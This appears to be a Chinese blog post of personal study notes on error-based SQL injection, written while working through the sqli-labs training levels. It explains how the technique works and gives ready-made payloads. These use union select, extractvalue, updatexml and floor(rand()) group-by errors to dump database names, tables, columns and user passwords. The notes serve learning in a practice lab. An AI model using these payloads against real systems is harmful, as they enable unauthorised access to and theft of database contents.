报错注入学习

复习完sqlilabs 1-4关 熟悉了简单sql注入的payload,不用反复看wp的payload,学到了可以

0x5c:/   %23:#    %20: (空格)  0x7e=~

-1') union select 1,(select group_concat(username,0x5c,password) from users),3 %23

遇到第五关报错注入

学习文章1 学习文章2

SQL 报错注入详解

学习笔记:

报错注入原理:报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

xpath语法报错

使用条件:mysql版本>5.1.5

extractvalue函数:

extractvalue(xml_document,Xpath_string);

Xpath_string是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。(不满足xpath语法的字符串有~,#,$等等)

id='and(select extractvalue("anything",concat('~',(select语句))))
查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位

注:version()=@@version

updatexml函数:

updatexml(xml_document,xpath_string,new_value)

new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值

爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

concat+rand()+group_by()导致主键重复报错

这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。

爆数据库名:' union select 1,count(*),concat(floor(rand(0)*2),database())x from `users` group by x %23
爆表名:' union select 1,count(*),concat(floor(rand(0)*2),(select table_name from information_schema.tables where table_schema=database() limit 0,1))x from `users` group by x %23
爆列名:' union select 1,count(*),concat(floor(rand(0)*2),(select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1))x from `users` group by x %23
爆数据:' union select 1,count(*),concat(floor(rand(0)*2),(select COLUMN_NAME from TABLE_NAME limit 0,1))x from `users` group by x %23

下面对sqlilabs Less-1进行测试

extractvalue函数:

 这里因为能显示的最长长度为32,所以用substr来截取,这里用不来limit分页

updatexml函数:

floor报错:

' union select 1,2,3 from (select count(*),concat(floor(rand(0)*2),database())x from `users` group by x)a %23

这个是另一种payload

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值